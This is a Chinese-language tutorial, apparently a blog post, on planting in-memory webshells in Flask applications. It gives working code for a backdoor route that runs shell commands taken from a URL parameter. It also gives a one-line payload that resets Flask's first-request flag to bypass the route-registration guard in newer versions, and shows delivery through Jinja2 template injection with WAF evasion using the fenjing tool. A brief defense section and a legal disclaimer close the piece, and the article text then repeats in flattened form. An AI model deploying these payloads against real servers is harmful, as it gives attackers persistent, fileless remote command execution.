Flask 内存马从初识到进阶 - 兼容新版 Flask 的内存马打法
字数 1071 2025-08-22 12:23:06

Flask 内存马技术详解:从原理到实战

一、内存马概述

1.1 什么是内存马

内存马(Memory Shell)是一种通过动态修改服务端运行逻辑植入的后门技术,特点:

  • 不依赖文件系统,直接驻留在内存中
  • 通过添加恶意路由实现命令执行
  • 无需反弹shell,直接通过HTTP请求执行命令
  • 绕过传统文件检测机制

1.2 Flask内存马工作原理

Flask内存马通过以下步骤实现:

  1. 找到运行中的Flask应用对象(app)
  2. 定义一个执行系统命令的函数
  3. 将该函数注册为新的路由
  4. 通过访问该路由执行任意命令

二、技术演进与问题分析

2.1 传统内存马实现方式

传统实现直接调用app.add_url_rule方法:

def backdoor():
    import os
    cmd = request.args.get('cmd', 'id')
    return os.popen(cmd).read()

app.add_url_rule('/backdoor', 'backdoor', backdoor)

2.2 新版Flask的限制

Flask 2.0+引入了@setupmethod装饰器,会在应用处理第一个请求后禁止添加新路由,错误信息:

AssertionError: The setup method 'add_url_rule' can no longer be called on the application...

2.3 问题根源分析

@setupmethod装饰器会检查app._got_first_request标志:

def _check_setup_finished(self, f_name: str):
    if self._got_first_request:
        raise AssertionError(...)

三、新版Flask内存马实现

3.1 关键技术突破

绕过限制的核心方法:

app.__dict__.update({'_got_first_request': False})

3.2 完整payload解析

[
    __import__('time').sleep(3)  # 加载成功标志
    for flask in [__import__("flask")]
    for app in __import__("gc").get_objects()  # 遍历所有对象
    if type(app) == flask.Flask  # 找到Flask实例
    for jinja_globals in [app.jinja_env.globals]
    for c4tchm3 in [
        lambda: __import__('os').popen(
            jinja_globals["request"].args.get("cmd", "id")
        ).read()
    ]
    if [
        app.__dict__.update({'_got_first_request': False}),  # 重置标志
        app.add_url_rule(  # 添加恶意路由
            "/c4tchm3", 
            endpoint="c4tchm3", 
            view_func=c4tchm3
        )
    ]
]

3.3 payload特点

  1. 使用列表推导式实现多步操作
  2. 通过gc.get_objects()动态查找Flask实例
  3. 内置3秒延迟作为加载成功标志
  4. 兼容eval执行环境

四、实战应用场景

4.1 通过SSTI注入

Jinja2模板注入示例:

{{lipsum.__globals__.__builtins__.eval('上述payload')}}

URL编码版本:

%7B%7Blipsum.__globals__.__builtins__.eval%28...%29%7D%7D

4.2 使用fenjing绕过WAF

from fenjing import full_payload_gen
import logging
from urllib.parse import quote

logging.basicConfig(level=logging.INFO)

payload = """[ __import__('time')... ]"""

def waf(s: str):
    blacklist = ["config", "self", "g", "os", "class", ...]
    return all(word not in s for word in blacklist)

gen = full_payload_gen.FullPayloadGen(waf)
payload, _ = gen.generate("eval", ("string", payload))
print(quote(payload))

4.3 使用方法

  1. 注入payload后,访问/c4tchm3?cmd=whoami执行命令
  2. 观察3秒延迟确认注入成功

五、防御措施

5.1 检测方法

  1. 监控异常路由添加行为
  2. 检查_got_first_request标志篡改
  3. 扫描gc.get_objects()的异常使用

5.2 防护建议

  1. 禁用危险的内置函数(eval, exec等)
  2. 严格过滤模板输入
  3. 使用最新版Flask并监控安全更新
  4. 部署RASP解决方案

六、技术总结

Flask内存马技术演进:

  1. 初期:直接调用add_url_rule
  2. 中期:绕过路由添加限制
  3. 现在:结合对象遍历和标志重置的完整方案

关键点:

  • 理解Flask路由机制
  • 掌握Python运行时对象操作
  • 熟悉WAF绕过技巧
  • 了解新版Flask安全机制

附录:相关资源

  1. Flask官方文档:路由系统
  2. Python gc模块文档
  3. Jinja2模板安全指南
  4. fenjing项目地址

注意:本文仅用于安全研究和技术学习,请勿用于非法用途。

Flask 内存马技术详解:从原理到实战 一、内存马概述 1.1 什么是内存马 内存马(Memory Shell)是一种通过动态修改服务端运行逻辑植入的后门技术,特点: 不依赖文件系统,直接驻留在内存中 通过添加恶意路由实现命令执行 无需反弹shell,直接通过HTTP请求执行命令 绕过传统文件检测机制 1.2 Flask内存马工作原理 Flask内存马通过以下步骤实现: 找到运行中的Flask应用对象(app) 定义一个执行系统命令的函数 将该函数注册为新的路由 通过访问该路由执行任意命令 二、技术演进与问题分析 2.1 传统内存马实现方式 传统实现直接调用 app.add_url_rule 方法: 2.2 新版Flask的限制 Flask 2.0+引入了 @setupmethod 装饰器,会在应用处理第一个请求后禁止添加新路由,错误信息: 2.3 问题根源分析 @setupmethod 装饰器会检查 app._got_first_request 标志: 三、新版Flask内存马实现 3.1 关键技术突破 绕过限制的核心方法: 3.2 完整payload解析 3.3 payload特点 使用列表推导式实现多步操作 通过 gc.get_objects() 动态查找Flask实例 内置3秒延迟作为加载成功标志 兼容eval执行环境 四、实战应用场景 4.1 通过SSTI注入 Jinja2模板注入示例: URL编码版本: 4.2 使用fenjing绕过WAF 4.3 使用方法 注入payload后,访问 /c4tchm3?cmd=whoami 执行命令 观察3秒延迟确认注入成功 五、防御措施 5.1 检测方法 监控异常路由添加行为 检查 _got_first_request 标志篡改 扫描 gc.get_objects() 的异常使用 5.2 防护建议 禁用危险的内置函数(eval, exec等) 严格过滤模板输入 使用最新版Flask并监控安全更新 部署RASP解决方案 六、技术总结 Flask内存马技术演进: 初期:直接调用add_ url_ rule 中期:绕过路由添加限制 现在:结合对象遍历和标志重置的完整方案 关键点: 理解Flask路由机制 掌握Python运行时对象操作 熟悉WAF绕过技巧 了解新版Flask安全机制 附录:相关资源 Flask官方文档:路由系统 Python gc模块文档 Jinja2模板安全指南 fenjing项目地址 注意:本文仅用于安全研究和技术学习,请勿用于非法用途。